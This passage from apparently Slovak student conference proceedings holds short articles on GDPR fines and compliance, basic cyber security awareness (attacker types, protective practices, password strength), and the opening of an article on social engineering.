pokuta. Kontrolovaný subjekt (napr. obchodná spoločnosť ako prevádzkovateľ) 
môže byť napríklad najprv upozornený na to, že jeho spracovateľské operácie 
pravdepodobne porušujú európske nariadenie alebo pri zistení konkrétneho 
porušenia mu môže byť udelené napomenutie. To znamená, že úrad posudzuje 
každé porušenie samostatne a po zhodnotení konkrétnych okolností zváži, či 
kontrolovanému subjektu hneď uloží pokutu a v akej výške alebo ho len 
napomenie. 
   Nemecký štátny úrad na ochranu údajov udelil pokutu 10,4 mil. EUR voči stredne 
veľkému online predajcovi, ktorý údajne porušil všeobecné nariadenie EÚ o 
ochrane údajov (GDPR) monitorovaním svojich zamestnancov pomocou CCTV. 
Obchodník používal vo svojich priestoroch kamerové systémy na prevenciu a 
vyšetrovanie trestných činov a na sledovanie toku tovaru v skladoch po dobu 
najmenej dvoch rokov. Štátny komisár nepovažoval tieto účely za dostatočne 
legitimizované použitie kamerového systému v pracovných priestoroch a v 
priestoroch prístupných návštevníkom[5]. 
   Nórsky úrad pre ochranu údajov oznámil spoločnosti Grindr LLC (Grindr), že majú 
v úmysle uložiť správnu pokutu vo výške 100 000 000 NOK za nedodržanie pravidiel 
GDPR o súhlase. V roku 2020 podala Nórska rada spotrebiteľov sťažnosť proti 
spoločnosti Grindr, ktorá sa týka nezákonného zdieľania osobných údajov s tretími 
stranami na marketingové účely. Zdieľané údaje zahŕňajú polohu GPS, údaje o 
profile používateľa a skutočnosť, že dotyčný používateľ je na serveri Grindr. Ročný 
obrat spoločnosti blíži k 100 000 000 EUR . To znamená, že navrhovaná pokuta 
bude predstavovať približne 10% obratu spoločnosti.[6] 
   Nariadenie o GDPR takisto hovorí ale rôznych druhoch pokút, za rôzne porušenia 
GDPR. Na Slovensku je síce horný strop určený ako 20 miliónov alebo 4% celkového 
ročného obratu, toto je ale najvyššia vymedzená sadzba.[11] Nariadenie hovorí aj o 
pokute do 10 miliónov alebo 2% celkového ročného obratu a dokonca aj o 
poriadkovej pokute od 2000 EUR do 10 000 EUR. Pro vymedzení pokuty sa berie 
do úvahy závažnosť porušenie, škody, prijaté dodatočné opatrenia na náhradu 
škody a takisto spôsob, akým sa úrad o pochybeniach dozvedel. Tieto pokuty je 
možno uložiť do 6 mesiacov alebo 2 rokov odo dňa porušenia, a sú príjmom do 
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štátneho rozpočtu. Treba ale zdôrazniť, že aj keď úrad prihliada na rôzne okolnosti 
pri udeľovaní pokuty, táto pokuta môže byť v mnoho prípadoch až likvidačná.  
 
Záver 
   Práca sa venovala nariadeniu GDPR a jeho používaniu v praxi. Ako sme mohli 
vidieť, toto nariadenia má veľmi veľký dopad na každodenné používanie internetu 
a elektronickej komunikácie. GDPR je prostriedok nie len ochrany používateľa na 
internete, ale aj jeho osobných dát pred zneužitím. GDPR sa v dnešnej dobre berie 
veľmi vážne v celej Európskej únií. Práve preto sú aj pokuty za nedodržanie také 
vysoké a prísne kontrolované. Na to aby bola zabezpečená, čo najväčšia 
bezpečnosť osoby na internete, treba v čo najväčšej miere motivovať firmy na jej 
dodržiavanie. Táto práca ukázala, ako je firma negatívne motivovaná  pod hrozbou 
vysokej pokuty na dodržiavanie GDPR. Európska únie je v tomto neúprosná. 
Obyvatelia EÚ musia byť v čo najväčšej miere chránení a to aj za cenu vysokých 
pokút. Preto sa GDPR považuje za prelomové nariadenie, ktoré pôsobí  mení 
charakter každodenného používania internetu.  
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KYBERNETICKÁ BEZPEČNOST 
 
CYBER SECURITY 
 
Dominik Lučan 
 
Abstract 
   The article deals with cyber security, basic concepts in the field of cyber security, 
a description of recommendations on how to combat cyber attacks and 
recommendations for using a personal computer and choosing a strong password. 
 
Key words: Hacker, security, black hat, white hat, 
 
Abstrakt 
   Článok sa zaoberá kybernetickou bezpečnosťou, základnými pojmami z oblasti 
kybernetickej bezpečnosti, popisom odporúčaní ako bojovať proti kybernetickým 
útokom a odporúčaniami pri používaní osobného počítača a výberu silného hesla. 
 
Kľúčové slová: Hacker, bezpečnosť, vírus, black hat, white hat 
 
Úvod 
   Kybernetická bezpečnosť sa netýka len štátnych inštitúcií ale každého obyvateľa 
využívajúceho internetové služby. V dnešnom modernom svete si už život bez 
internetu nevieme predstaviť. Preto netreba zabúdať aj na hrozby, ktoré prináša 
virtuálny svet okolo nás, a treba byť vždy opatrný, kde zadáme naše osobné 
údaje[8]. Kybernetický priestor môžeme vnímať ako digitálne prostredie tvorené 
informačnými technológiami, ktoré spracovávajú a vytvárajú informácie a 
dochádzke v ňom aj k výmene informácií. Ide o virtuálny priestor prepojený 
počítačových systémov[6], ktoré na seba pôsobia bez nutnosti fyzickej aktivity.  
Bezpečnosť kybernetického priestoru je súhrn právnych, organizačných, 
technických a fyzických opatrení, ktoré umožňujú odolávať kybernetickým 
útokom. Najčastejšie sa skloňujú kybernetické útoky v rámci financií, politiky štátov, 
či vojensky motivované útoky ale aj krádež osobnej identity jednotlivca.[1] 
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Kybernetický útok 
   Kybernetický útočník, môže mať rôzne motivácie k útokom, napríklad, finančný 
zisk, sláva, snaha o publicitu, pomsta proti konkrétnemu človeku alebo spoločnosti. 
Útočníkov podľa motivácií možno rozdeliť až do rôznych 9 skupín[3].  

1. Hacker začiatočník – snažiaci sa o útok bez ohľadu na zmysluplnosť aby 
získal uznanie hackerskej komunity. 

2. Hacker profesionál – znalec IT technológií, snaha o prekonanie 
intelektuálnych výziev, psychologicky motivovaná radosť z prekonávania 
prekážok. Druhou motiváciou je pomsta proti záujmove skupine či osobe. 

3. Tvorca vírov – ide o programátora, so znalosťami v IT bezpečnosti, ide o 
špecifický druh ľudí, nedocenení odborníci, alebo zradení idealisti, cieľom sú 
počítačové systémy a siete. Motiváciou je im prekonávanie výziev alebo 
pomsta voči spoločnosti. 

4. Vnútorný nepriateľ – predstavuje zradeného zamestnanca 
firmy(organizácie), ktorý cíti osobnú krivdu, nedocenenosť, útoky sú dobre 
maskované cez malware, vedú k finančným stratám, a môžu viesť aj k 
finančnému obohateniu útočníka. 

5. Informačný bojovník – zaoberá sa primárne o ochranu informačných 
systémov,  motivácia je finančný zisk alebo snaha o finančnú likvidáciu 
protivníka, ide o útoky na destabilizáciu a poškodenie dát, nabúrava 
informačné systémy pomocou tradičných aj netradičných metód. 

6. Etický hacker – white Hat, napáda zabezpečenie za účelom skúmania 
zabezpečenia, testuje prienik do daného softwaru a zraniteľnosť.[5] 

7. Black Hat – narušuje bezpečnosť k osobnému prospechu, zničiť dáta, 
vyradiť software. 

8. Grey Hat – kombinácia White a Black Hat, preniká do systémov za účelom 
informovania administrátora na hacknutý systém a za finančnú odmenu 
opraví chybu. 

9. Blue Hat – niekto, kto stojí mimo firmy, necháva sa najímať na testovanie a 
ladenie sieti, systémov. 

 
Ochrana pred kybernetickým útokom 
   Počítačová sieť je tak bezpečná ako je bezpečná jeho najslabšia časť. Štát, ktorý 
má vysokú úroveň informatizácie svojho riadenia je výrazne zraniteľnejší. 
Kybernetická vojna je preto pre tieto štáty reálnym nebezpečenstvom. Zaistenie 
kybernetickej bezpečnosti je preto kľúčovou aktivitou každého štátu, kybernetický 
priestor nepozná žiadne časové obmedzenia alebo hranice. Preto je nutné 
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spracovávať informácie o výskyte bezpečnostných útokov. Preto treba 
koordinovať ochranné opatrenia[7]: 

 Protiopatrenia pre prípad bezpečnostných incidentov v kritickej 
infraštruktúre[11] 

 Zber informácii o závažných bezpečnostných incidentoch[9] 
 Vyplňovanie bezpečnostných dier v počítačových systémoch 
 Riešenie informačno-bezpečnostných incidentov v spolupráci s 

prevádzkovateľmi sieti, operátormi a poskytovateľmi internetových služieb. 
 Budovanie znalostí verejností v oblastiach kybernetickej bezpečnosti 
 Kooperácia so zahraničnými organizáciami 
 Dosiahnutie medzinárodného konsenzu o normách v kyber priestore 
 Existencia núdzového plánu, pre prípad kybernetického útoku. 
 Posilňovanie práva vymáhateľnosti v oblasti kybernetickej bezpečnosti 
 Národná kritická infraštruktúra nesmie byť závislá na internete, ale musí byť 

schopná prevádzky aj počas kybernetického útoku. 
 
   Cieľom kybernetickej bezpečnosti[6] je ochrana dát a informácií od veľkého 
množstva hrozieb. Najväčšie straty informácií sú spôsobené vlastným 
managementom organizácie odhad až 50-80%, vlastnými zamestnancami 10-40%, 
menej než 10% je spôsobených vonkajšími zásahmi ako sú počítačové útoky. 
Najrizikovejšími faktormi sú preto  administrátori, správcovia sieti a vývojári 
informačných systémov.[1] 
  
Ako si chrániť vlastný počítač 
   Medzi najnákladnejšie obranné návody na obranu pred neželanými útokmi, 
stratou údajov, dát, informácií z počítača alebo aj z mobilných zariadení patrí 
dodržiavať základné praktiky[1]: 

1. Neotvárať prílohy e-mailu s neznámym formátom priloženého súboru 
2. Pozor na e-maily, v ktorých odosielateľ požaduje aby ste aktualizovali 

osobné údaje (väčšinou sa vydávajú za bankové kontá) 
3. Pri písaní hesla vždy skontrolovať či je web zabezpečený 
4. Používať antivírový ale aj anti spywareový software 
5. Používať Firewall, ktorý chráni operačný systém 
6. Používať vždy najaktuálnejší operačný systém 
7. Neprihlasovať sa na cudzích zariadeniach do internetového bankovníctva, 

môže byť nainštalovaný keylogger[4] 
8. Nepripojovať sa k nezašifrovaným bezdrôtovým sieťam 
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Heslo 
   Užívatelia dlhodobo podceňujú význam sile hesla. O bezpečnosti rozhoduje jeho 
dĺžka a využívanie veľkých/malých písmen, čísel a symbolov, Na to aby hacker 
prelomil heslo zo 4 znakov len malých písmen stačí  mu na to 90sekúnd, pri použití 
aj veľkých písmen je to 240 sekúnd[10]. Za ideálne heslo sa považuje také, ktoré je 
minimálne 12 znakov dlhé, je tvorené písmenami, číslami a špeciálnymi znakmi, k 
dispozícií je teda 26písmen, 10 číslic, a viac než 40 znakov.[1] 
 
Záver 
   Kybernetické útoky sú vo všeobecnosti chápané ako agresívne útoky hackerov 
na bezpečnosť štátu[2], organizácie či jedinca za účelom finančného obohatenia. 
Netreba zabúdať, že aj medzi hackermi sú takí, ktorí sa snažia upozorniť na slabé 
miesta zabezpečenia, siete, softwaru programu. Označenie White hat alebo Greay 
či Blue Hat by sme si preto nemali spájať len s útokmi ale naopak ako upozornenie 
pred hrozbou či únikom informácií. Počítačová sieť je tak silná ako je silná jeho 
najslabšia časť. Taktiež by sme mali zvážiť komu poskytujeme osobné informácie, 
akú e-mailovú poštu otvárame, do akej siete sa prihlasujeme. A nakoniec netreba 
ani zabúdať na to, z koľkých znakov sa skladá naše heslo, či je dostatočne silné a 
dlhé, len tak sa vie každý najľahšie uchrániť pred neželaným útokom. 
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VŠEOBECNÉ NARIADENIE O OCHRANE ÚDAJOV 
 
GENERAL DATA PROTECTION REGULATION 
 
René Magerčiak 
 
Abstract 
   Today, personal data protection is one of the most discussed areas of law. The 
main focus is the GDPR regulation. In the article we present the basic concepts and 
area of this issue. We will also show some of the main regulations of the GDPR, but 
we also talk how can be their violation sanctioned. 
 
Key words: GDPR, personal data, processing 
 
Abstrakt 
   V dnešnej dobe je ochrana osobných údajov jedna z najviac diskutovaných 
právnych oblastí. Dôvodom pozornosti je hlavne nariadenie GDPR. V článku si 
predstavíme základné pojmy a oblasti tejto problematiky. Rovnako si ukážeme 
niektoré z hlavných nariadení GDPR ale tiež ako môže byť ich porušenie 
sankcionované. 
 
Kľúčové slová: GDPR, osobné údaje, spracúvanie 
 
Úvod 
   GDPR je najprísnejší zákon o ochrane súkromia a bezpečnosti na svete. Je to          
v podstate súbor pravidiel, ktorých cieľom je dať občanom EÚ väčšiu kontrolu nad 
svojimi osobnými údajmi. V dnešnej dobe, čoraz viac ľudí zveruje svoje osobné 
údaje a ich zneužívanie je každodenným javom.[20] Cieľom GDPR je eliminovať únik 
a zneužívanie osobných údajov a to aj hrozbou vysokých pokút. 
 
Osobný údaj 
   Osobným údajom sú akékoľvek informácie, ktoré sa týkajú fyzickej osoby, ktorú 
je možno priamo alebo nepriamo identifikovať[14]. Sú to napríklad meno, 
identifikačné číslo, etnický pôvod alebo pohlavie. Osobným údajom sú však aj 
lokalizačné údaje, emailové adresy a dokonca aj webové súbory cookies.[1] 
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Na koho sa GDPR vzťahuje? 
   GDPR sa vzťahujú na všetky organizácie pôsobiace v EÚ ale aj všetky organizácie 
mimo EÚ, ktoré ponúkajú tovary a služby zákazníkom alebo iným podnikom v EÚ[11]. 
V konečnom dôsledku, sa GDPR dotýka každého, kto spracúva osobné údaje 
fyzických osôb EÚ. Najčastejšie ide o zamestnávateľov, dodávateľov, subjektov 
poskytujúcich služby alebo prevádzkovateľov webov a e-shopov.[5] 
 
Spracúvanie osobných údajov 
   Na to aby boli osobné údaje pre spoločnosť užitočné, je potrebné ich 
spracovanie. Je to metóda zhromažďovania údajov a ich následné uvedenie do 
použiteľných informácii. Údaje sa zhromažďujú, zaznamenávajú, filtrujú, triedia, 
analyzujú, ukladajú a podobne. Pre úplné pochopenie a používanie osobných 
údajov, je potrebné ich konvertovanie do čitateľného formátu. Najčastejšie sa 
využívajú grafy či tabuľky.[3]  
 
Čo GDPR znamená pre občanov? 
   Z dôvodu veľkého množstva zneužitia osobných údajov a hackerských útokov 
bolo množstvo dôverných údajov odhalených na internete[8]. Veľkou zmenou, ktorú 
GDPR prináša, je poskytnutie práva spotrebiteľom vedieť kedy došlo k napadnutiu 
ich údajov. Organizácie musia jasne a zrozumiteľne uvádzať, ako informácie od 
zákazníkov využívajú. GDPR tiež prináša možnosť zabudnutia údajov pre ľudí, ktorí 
už nechcú, aby boli ich osobné údaje spracúvané, v prípade, že neexistujú dôvody 
na uchovanie týchto údajov. Týmto právam spotrebiteľov sa musia organizácie 
prispôsobiť.[4] 
 
Kľúčové požiadavky nariadenia GDPR 

 Zákonné, spravodlivé a transparentné spracovanie. Zákonné v tomto 
prípade znamená, že všetko spracovanie musí byť založené na legitímnom 
účele. Spravodlivé zas, že spoločnosti preberajú zodpovednosť a neporušujú 
požiadavku zákonnosti. Transparentné hovorí, že spoločnosť musí osoby 
informovať o všetkých činnostiach spracovania ich údajov. 

 Obmedzenie účelu[17]. Očakáva sa, že spoločnosti zhromažďujú iba tie údaje, 
ktoré sú pre nich nevyhnutné. Rovnako že dané údaje neuchovávajú po 
dokončení účelu spracovania. Je preto potrebné dodržať 3 požiadavky, 
ktorými sú: zakázanie spracúvania osobných údajov mimo legitímneho 
účelu, nepožadovať údaje, ktoré nie sú nevyhnutné a vymazať údaje po 
dokončení ich účelu. 
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 Práva dotknutej osoby  Dotknuté osoby majú právo požadovať informácie 
o údajoch, ktoré spoločnosť má a čo s nimi robí. Tiež majú právo žiadať o 
opravu údajov, namietať proti spracovaniu alebo požiadať o vymazanie 
osobných údajov.[12] 

 Súhlas. Každá spoločnosť, ktorá má v úmysle spracúvať osobné údaje, musí 
dotknutú osobu požiadať o výslovný súhlas k tejto činnosti[18]. Tento súhlas 
môže dotknutá osoba kedykoľvek odvolať. V prípade, že vek dotknutej 
osoby je menší ako 16 rokov[9], je potrebný výslovný súhlas zákonného 
zástupcu danej osoby. 

 Porušenie ochrany osobných údajov. Organizácie musia viesť register 
porušenia ochrany osobných údajov a na základe ich závažnosti by mali 
informovať dotknutú osobu ako aj regulačný orgán do 72 hodín od zistenia 
porušenia ochrany osobných údajov[7]. 

 Prenosy údajov. Prevádzkovateľ osobných údajov je za zabezpečenie 
ochrany osobných údajov a dodržiavania požiadaviek GDPR zodpovedný aj 
v prípade, že spracúvanie údajov vykonáva tretia strana. Musí zabezpečiť 
ochranu údajov keď ich prenáša mimo spoločnosti alebo inému subjektu v 
rámci spoločnosti.[13] 

 Integrita a dôvernosť. Spracovanie sa musí vykonávať spôsobom, ktorý 
zabezpečí primeranú bezpečnosť, integritu a dôvernosť ( napríklad 
pomocou šifrovania )[16]  

 Úradník pre ochranu údajov. V prípade, že v organizácii dochádza k 
významnému spracovaniu osobných údajov, mala by organizácia poveriť 
úradníka pre ochranu údajov. Tento úradník bude mať zodpovednosť za to, 
aby spoločnosti radil o dodržiavaní požiadaviek GDPR.[10] 

 Povedomie. Je potrebné aby organizácie medzi zamestnancami vytvárali 
povedomie o požiadavkách GDPR, aby zabezpečili informovanosť 
zamestnancov o svojich zodpovednostiach v súvislosti s ochranou osobných 
údajov[19] 

 
Sankcie za porušenie GDPR 
   Žiadna spoločnosť by nemala zanedbávať povinnosti ustanovené v GDPR. Za ich 
porušenie, môžu byť spoločnosti uložené až likvidačné pokuty.[15] Kdežto podľa 
starého zákona bolo možné uložiť pokutu do maximálnej výšky 200 000 eur, po 
výrazných zmenách z roku 2018 môžu byť pokuty udelené aj v niekoľkých 
miliónoch eur[6]  V prípade porušenia povinností môže úrad uložiť: 
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 v prípade menej závažného porušenia pokutu až do výšky 10 000 000 eur. V 
prípade podniku do 2% celkového svetového ročného obratu za 
predchádzajúci účtovný rok podľa toho, ktorá zo súm je vyššia.  

 v prípade závažného porušenia pokutu až do výšky 20 000 000 eur. V 
prípade podniku do 4% celkového svetového ročného obratu za 
predchádzajúci účtovný rok podľa toho, ktorá zo súm je vyššia.  

 poriadkovú pokutu a to až do výšky 2 000 eur alebo poriadkovú pokutu až 
do výšky 10 000 eur.[6] 

 
   Nový zákon ustanovuje aj premlčacie lehoty, ktoré je potrebné dodržiavať. 
Pokuty a poriadkové pokuty majú osobitnú lehotu a zodpovedajú závažnosti 
porušenia povinností.  Pokutu je možné uložiť do dvoch rokov, odkedy úrad zistil 
porušenie a najneskôr do piatich rokov, odkedy došlo k porušeniu povinností. Prvá 
spomenutá je takzvaná subjektívna lehota, druhá je objektívna lehota a musia byť 
dodržané súčasne.  V prípade poriadkovej pokuty je lehota 6 mesiacov od dňa, 
kedy došlo k porušeniu. ( takzvaná objektívna lehota )[6]. 
 
Záver 
   Nariadenie GDPR  je náročné, rozsiahle a existuje veľké množstvo požiadaviek 
ktoré z nariadenia GDPR vychádzajú. Je preto potrebné venovať mu dostatočnú 
pozornosť a úsilie pri implementácii jednotlivých požiadaviek.[2] Pokiaľ sa 
spoločnosť chce vyhnúť problémom spojeným s porušením GDPR, mala by 
dostatočne vzdelávať aj svojich zamestnancov. Je potrebné aby vedeli ako 
dodržiavať nariadenia prípadne ako postupovať pri neúmyselnom  
úniku osobných údajov. 
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STRATÉGIA A SÚLAD S NARIADENÍM GDPR 
 
PERSONAL DATA PROTECTION ACCORDANCE WITH GDPR 
 
Orsolya Kürti 
 
Abstract 
   The aim of the article is to characterize the use of the GDPR regulation in the 
European union. The work will deal with the practicl use of the regualtion, ho w i tis 
implemented by companies and what changes it brings to GDPR users on the 
internet. Also what should be the best way to implmenet the regulation by various 
sources. 
 
Key words: GDPR, GDPR usage 
 
Abstrakt 
   Cieľom článku je charakterizovať použitie nariadenia GDPR v Európskej únii. 
Práca sa bude zaoberať praktickým využitím regulácie, ktorú implementujú 
spoločnosti, a zmenami, ktoré prináša používateľom GDPR na internete. Aký by mal 
byť najlepší spôsob implementácie nariadenia z rôznych zdrojov. 
 
Kľúčové slová: GDPR, použitie GDPR 
 
Úvod 
   Táto práca sa bude zaoberať používaním nariadenia GDPR na internete. V práci 
sa rozoberie používanie firmami, aké zmeny GDPR prinieslo po jeho prijatí v roku 
2018, a aké sú najlepšie rady pri aplikovaní GDPR v korporátnej štruktúre[5]. Práve 
GDPR  sa považuje za prelomové nariadenie, ktoré spôsobilo zvrat v tom, ako 
používame náš internet, a ako sme na internete chránený.[1] Toto ale prinieslo veľa 
nových výziev a zodpovednosti pre spoločnosti, ktoré narábajú s citlivými a 
osobnými údajmi používateľov. GDPR predstavuje zmenu v zhromažďovaní, 
ukladaní a používaní osobných údajov používateľov a klientov firiem. Práve preto 
je dôležité aby toto nariadenie bolo aplikované správne a by sa predišlo 
zbytočným pokutám, ktoré môžu byť veľmi vysoké[8].  
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Spotrebiteľský prieskum 
   V roku 2018 uskutočnili prieskum medzi viac ako 7 000 spotrebiteľmi v siedmich 
krajinách EÚ s cieľom zistiť, ako môžu zákazníci reagovať na nové nariadenia, a 
pomôcť podnikom predvídať, ako plánujú zákazníci využiť svoje nové právomoci, 
ktoré prídu v máji 2018[6]. Spotrebitelia zdôraznili potrebu na zavedenia systémov, 
dodržiavania predpisov, ale aj nástrojov na zapojenie zákazníkov, ktoré dokážu 
pochopiť kontext interakcie a poskytnúť transparentnosť, aby pomohli posilniť 
dôveru u spotrebiteľov. Z prieskumu sme dozvedeli, že 89% spotrebiteľov v EÚ chce 
vidieť údaje, ktoré o nich spoločnosti uložili. 82% spotrebiteľov v EÚ plánuje uplatniť 
svoje nové práva na prezeranie, obmedzenie alebo vymazanie zhromaždených 
informácií. 93% spotrebiteľov v EÚ uviedlo, že vymažú svoje osobné údaje, ak by im 
nevyhovovalo, ako si mysleli, že ich spoločnosti použili[4]. 
 
Nariadenie GDPR 
   Od nadobudnutia účinnosti v máji 2018 malo všeobecné nariadenie o ochrane 
údajov (GDPR) významný vplyv na ochranu osobných údajov[7]. Všeobecné 
nariadenie Európskej únie o ochrane údajov je rozsiahly zákon o ochrane osobných 
údajov, ktorý zjednocuje predpisy o ochrane osobných údajov všetkých členských 
štátov Európskej únie. Podľa predchádzajúcej normy, smernice o ochrane údajov, 
mal každý členský štát svoje vlastné zákony o ochrane údajov, ktoré upravujú 
zhromažďovanie, analýzu, použitie a uchovávanie osobných údajov používateľov. 
GDPR to zmenilo a stanovilo jednotný súbor noriem, ktorý sa vzťahuje na všetky 
osobné údaje generované používateľmi v rámci EÚ. Nevzťahuje sa iba na 
spoločnosti so sídlom v EÚ; každá spoločnosť, ktorá zhromažďuje, analyzuje, 
používa alebo uchováva osobné údaje používateľa so sídlom v EÚ, sa musí riadiť 
GDPR alebo čeliť prísnym pokutám. GDPR zmenilo spôsob, akým spoločnosti robia 
veľa vecí, vrátane toho, ako spolupracujú s poskytovateľmi služieb tretích strán.  
   Každá spoločnosť, ktorá ukladá alebo spracúva osobné informácie o občanoch 
EÚ v rámci štátov EÚ, musí dodržiavať nariadenie GDPR, a to aj v prípade, že v EÚ 
nemá obchodné zastúpenie. Konkrétne kritériá pre spoločnosti, od ktorých sa 
vyžaduje, aby dodržiavali tieto požiadavky[10]:  

 Prítomnosť v krajine EÚ.  
 V EÚ nie je prítomná, ale spracúva sa v nej osobné údaje európskych 

obyvateľov.  
 Viac ako 250 zamestnancov.  
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 Menej ako 250 zamestnancov, ale jeho spracovanie údajov ovplyvňuje 
práva a slobody dotknutých osôb, nie je príležitostné alebo obsahuje určité 
typy citlivých osobných údajov.  

 
   Jednou z kľúčových výziev je náhly prechod na prácu na diaľku spôsobenú 
vypuknutím choroby as tým spojené opatrenia blokovania alebo zákazu 
vychádzania prijaté vládami. Organizácie musia zabezpečiť zdravia a bezpečnosti 
zamestnancov a ochrana ich základných práv a slobôd ako dotknutých osôb[2]. S 
cieľom obmedziť šírenie vírusu na pracovisku bude pravdepodobne potrebné, aby 
zamestnávatelia spracovali viac osobných údajov ako doteraz, najmä zdravotné 
údaje. Mnoho spoločností je v pokušení spoľahnúť sa na súhlas svojich 
zamestnancov s takýmito údajmi. Kvôli nerovnováhe síl v pracovnoprávnych 
vzťahoch sa však súhlas zamestnanca všeobecne nepovažuje za „slobodne daný“ 
a je nepravdepodobné, že bude v súlade s GDPR. GDPR poskytuje rôzne možnosti 
v prípade nedodržania pravidiel ochrany údajov, vrátane maximálnej pokuty až do 
výšky 20 miliónov EUR alebo štyroch percent z celkového ročného celosvetového 
obratu spoločnosti, podľa toho, ktorá hodnota je vyššia.  
   GDPR definuje niekoľko rolí, ktoré sú zodpovedné za zabezpečenie súladu: 
kontrolór údajov, spracovateľ údajov a pracovník ochrany údajov (DPO)[9]. 
Prevádzkovateľ definuje, ako sa osobné údaje spracúvajú a na aké účely sa 
spracúvajú. Prevádzkovateľ je tiež zodpovedný za zabezpečenie súladu s 
požiadavkami externých dodávateľov. Spracovateľmi údajov môžu byť interné 
skupiny, ktoré udržiavajú a spracúvajú záznamy o osobných údajoch, alebo 
akákoľvek externá firma, ktorá vykonáva tieto činnosti alebo ich časť. Podľa GDPR 
sú spracovatelia zodpovední za porušenia alebo nedodržanie predpisov. Je teda 
možné, že spoločnosť aj spracovateľský partner, napríklad poskytovateľ cloudu, 
budú zodpovední za pokuty, aj keď chyba je výlučne na spracovateľskom 
partnerovi. 
   Nariadenie GDPR má dopad aj na internetové obchody v oblasti zmlúv so 
spolupracujúcimi organizáciami, napríklad medzi správcom osobných údajov a 
spracovateľom. Takáto zmluva nie je novinkou, bola požadovaná predošlou 
legislatívou. Nariadenie GDPR sa tejto problematike venuje v článku 28 
Sprostredkovateľ. Aj keď tieto ustanovenia znejú priamo, vykonávanie 
štrukturálnych zmien potrebných na splnenie požiadaviek nariadenia GDPR bolo 
pre mnohé spoločnosti monumentálnou úlohou - najmä v USA, kde sú pravidlá 
ochrany osobných údajov podstatne voľnejšie ako v EÚ. Marketingové oddelenia 
boli nútené venovať osobitnú pozornosť GDPR.  
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   Odporúčanie ako úspešne ako zvládať GDPR agendu vo svojej spoločnosti 
existuje návod, ktorý poskytuje výbornú pomoc v tejto záležitosti:[3] 

 Zdokumentujte svoj súčasný a budúci stav- Umožní vám to predložiť dôkazy 
požadované nariadením, ako aj odhaliť potenciálne medzery v procese a 
technológii. 

 Zaviesť nové procesy s uzavretou slučkou- Akýkoľvek postup na získanie 
súhlasu, ktorý zahŕňa manuálne kroky, vystaví podnik možnému riziku v 
súlade s predpismi. To si bude vyžadovať potrebu dynamických procesov s 
uzavretou slučkou, ktoré sú schopné prispôsobiť sa nuansám každej 
požiadavky. 

 Pripojte rôznorodé zdroje údajov- Budete musieť nájsť spôsob, ako prepojiť 
procesy s údajmi a systémami zákazníkov v celom podniku. Dôležité je, že 
to často zahŕňa potrebu integrácie so starými systémami, ktoré nemusia 
mať API.  

 Uzavrite ochranu údajov o zákazníkoch - je potrebné zaviesť ochranné 
opatrenia na proaktívnu ochranu osobných údajov. To znamená úvahy o 
šifrovaní, de-identifikácii údajov.  

 Vytvorte systém upozornení- Musíte automatizovať komunikáciu medzi 
všetkými stranami vrátane údajov, subjektu, kontrolóra, procesora a 
regulátora - s proaktívnymi aj reaktívnymi procesmi vrátane zostavovania 
dynamického obsahu.  

 Dosiahnite transparentnosť automatizovaných rozhodnutí- Možno budete 
musieť prestať s nepriehľadnými analytickými procesmi a nahradiť ich 
transparentnými procesmi, ktoré môžu vrhnúť svetlo na logiku použitú pri 
rozhodovaní.  

 Udržiavajte komplexný auditový chod- Sledujte všetky aktivity vrátane 
zhromažďovania údajov, udeľovania súhlasu a dokonca aj rozhodnutia, 
ktoré boli urobené na základe týchto údajov. 

 
   Aj keď dosiahnutie a zachovanie súladu s GDPR je veľkou výzvou, existujú 
strieborné obloženia. Údaje od digitálnej marketingovej spoločnosti Acoustic, ktorá 
bola predtým súčasťou IBM, ukazujú, že GDPR už má pozitívny vplyv na 
angažovanosť. Správa o marketingovom teste spoločnosti z roku 2019 preskúmala 
marketingové údaje tisícov značiek v 40 krajinách. Okrem iných výsledkov správa 
zistila, že miera otvorenia e-mailov a miera prekliknutí sa od roku 2014 podstatne 
zvýšili, a to o 19%, respektíve 14%.[6] „Obchodníci boli spočiatku skeptickí voči 
predpisom o ochrane súkromia a údajoch, ako je GDPR vo Veľkej Británii a CASL v 
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Kanade, pretože obmedzujú spôsob, akým môžu značky získať prístup a využívať 
údaje o zákazníkoch,“ uviedla vo vyhlásení Loren McDonald, programová riaditeľka 
prieskumu trhu v spoločnosti Acoustic[3]. Aj keď je GDPR určite pre mnohé 
spoločnosti zásadnou zmenou, práca pri udržiavaní súladu môže stáť za to nielen 
z regulačných dôvodov, ale aj z obchodných dôvodov. Digitálny marketing koniec 
koncov funguje najlepšie, keď sa publikum, ktoré oslovíte, skutočne zaujíma o vaše 
produkty a služby. Nezainteresovaní používatelia dosahujú vyhodené 
marketingové doláre. 
 
Záver 
   Nariadenie GDPR a jeho používanie je zložitou tematikou. Táto práca sa snažila 
túto tému objasniť a priblížiť informácie, ktoré sa týkajú používanie GDPR firmami, 
ako používať GDPR správne, a aké novinky priniesla zmena nariadenie v roku 2018. 
Práve zmena v roku 2018 bola kľúčovou k vybudovaniu bezpečnejšieho a 
súkromnejšieho online prostredia pre používateľov. Práve toto je základom GDPR 
a jeho používania. Spoločnosti museli urobiť množstvo zmien, ktoré neboli pred tým 
potrebné a prispôsobiť sa novej realite, ktorú toto nariadenie prinieslo. 
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SOCIÁLNE INŽINIERSTVO 
 
SOCIAL ENGINEERING 
 
Matej Piški 
 
Abstract 
   The aim of the article is to introduce social engineering. What are its elements 
and why is it dangerous for us as individuals, but also for organizations. 
 
Key words: social engineering, security 
 
Abstrakt 
   Cieľom článku je predstaviť sociálne inžinierstvo. Aké sú jeho prvky a prečo je 
nebezpečný pre nás ako jednotlivcov, ale aj pre organizácie. 
 
Kľúčové slová: sociálne inžinierstvo, bezpečnosť 
 
Úvod 
   Ľudská hlúposť, neopatrnosť a nevedomosť nás už od nepamäti sprevádzajú na 
každom kroku a tak bolo len otázkou času, kedy sa medzi ľuďmi nájdu tí, ktorí tieto 
chyby v správaní dokážu zneužiť. Narušenie bezpečnosti počítačových systémov, 
nie je čisto technická záležitosť vznikajúca následkom dier v systéme, ktoré je 
útočník schopný využiť, keďže jedným z najslabších článkov týchto systémov môže 
byť človek.[5] 
 
Sociálne inžinierstvo 
   So sociálnym inžinierstvom sa v našich životoch stretávame dennodenne, 
najčastejšie je to pri surfovaní na webe. Sociálni inžinieri útočia na naše najcitlivejšie 
miesta a snažia sa získať si našu dôveru[2]. Taktiež súcit a ľútosť patria medzi 
vlastnosti ľudí, ktoré dokážu sociálni inžinieri zneužiť a dostať sa tak k hmotným, 
ale i nehmotným veciam ako napríklad prístupové kódy alebo osobné údaje.[4]  
Sociálne inžinierstvo umožňuje psychologickú manipuláciu s cieľom získať od nich 
